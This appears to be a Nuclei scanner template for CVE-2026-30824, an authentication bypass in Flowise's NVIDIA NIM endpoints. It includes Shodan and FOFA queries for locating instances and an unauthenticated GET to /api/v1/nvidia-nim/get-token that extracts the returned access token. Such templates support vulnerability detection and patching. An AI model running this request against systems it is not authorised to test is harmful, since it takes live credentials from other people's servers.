id: CVE-2026-30824

info:
  name: Flowise - NVIDIA NIM Endpoints Missing Authentication
  author: DhiyaneshDk
  severity: high
  description: |
    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
  impact: |
    Unauthenticated attackers can access privileged container management and token generation, potentially leading to full system compromise.
  remediation: This issue has been patched in version 3.0.13
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30824
    - https://github.com/FlowiseAI/Flowise
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-30824
    epss-score: 0.3625
    epss-percentile: 0.98317
    cwe-id: CWE-306
  metadata:
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,nvidia,nim,unauth,auth-bypass,token-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/nvidia-nim/get-token"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'access_token','token_type')"
        condition: and

    extractors:
      - type: regex
        name: access_token
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'
        part: body
# digest: 490a00463044022050ff9fe1d3cb93cb6d42041915ad3f4211d0b00ac98d0d9a0db3f325915a1ad6022027f893e2306034efdf088476a9f1bdb5f109fe063f46c11cbb35b97d9f543e8c:922c64590222798bb761d5b6d8e72950